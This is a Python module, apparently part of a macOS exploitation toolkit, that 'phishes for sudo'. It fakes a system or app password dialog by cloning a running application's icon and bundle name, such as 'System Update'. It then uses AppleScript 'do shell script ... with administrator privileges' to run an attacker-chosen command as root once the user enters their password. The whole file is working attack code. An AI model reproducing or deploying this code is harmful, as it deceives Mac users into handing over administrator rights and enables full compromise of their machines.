"""phishes for sudo with AppleScript"""
import json
import os
import plistlib

from .general import (DEFAULT_COMMAND, app_installed, app_running, osascript,
                      random_string)

try:
    input = raw_input
except NameError:
    pass

with open("apps.json") as json_file:
    APPS = json.load(json_file)

__cve__ = ""
__credits__ = "thehappydinoa"


def admin_prompt(app=None, icon_path=None, prompt="System Update", command="echo hello"):
    """prompts with administrator privileges"""
    rand = random_string()
    print("\nPrompting: " + prompt)
    if app:
        if icon_path:
            app_path = "Prompt.app"
            zip_path = "Prompt.app.zip"
            if not os.path.exists(app_path) and os.path.exists(zip_path):
                os.system("unzip " + zip_path)
            if os.path.exists("/Applications/" + app):
                full_app_path = "/Applications/" + app
            else:
                full_app_path = "~/Applications/" + app
            plist = app_path + "/Contents/Info.plist"
            info = plistlib.readPlist(plist)
            info["CFBundleName"] = prompt
            info["CFBundleIdentifier"] = "com.apple.ScriptEditor.id." + \
                prompt.replace(" ", "")
            plistlib.writePlist(info, plist)
            os.system(
                "cp \"{icon_path}\" \"{app_path}/Contents/Resources/applet.icns\"; touch {app_path};".format(icon_path=full_app_path + icon_path, app_path=app_path))
            payload = """open {app_path} --args "{command}; echo {success}" "{prompt}" """.format(
                app_path=app_path, prompt=prompt, command=command.replace('"', '\"'), success=rand)
            os.system(payload)
            print("Application Launched...")
            return True
        else:
            payload = """osascript <<END
              set command to "{command}; echo {success}"
              tell app "{app}" to activate
              return do shell script command with prompt "{prompt}" with administrator privileges
            END""".format(app=app, prompt=prompt, command=command, success=rand)
        # return tell app "{app}" to do shell script command with prompt "{prompt}" with administrator privileges
    else:
        payload = """osascript <<END
          set command to "{command}; echo {success}"
          return do shell script command with prompt "{prompt}" with administrator privileges
        END""".format(prompt=prompt, command=command, success=rand)
    response = osascript(payload)
    return rand in response


def vulnerable(version):
    """checks vulnerability"""
    return "y" == input("\n[USER INTERACTION] Do you want to try to phish for sudo? (y/N): ")[0].lower()


def run():
    """runs exploit"""
    for priority_level in sorted(APPS.iterkeys()):
        for app in APPS.get(priority_level).keys():
            if app_installed(app) and app_running(app):
                app_info = APPS.get(priority_level).get(app)
                return admin_prompt(app=app, icon_path=app_info[0], prompt=app_info[1], command=DEFAULT_COMMAND)
    return admin_prompt(app="System Preferences.app", icon_path="/Contents/Resources/PrefApp.icns", prompt="System Update", command=DEFAULT_COMMAND)
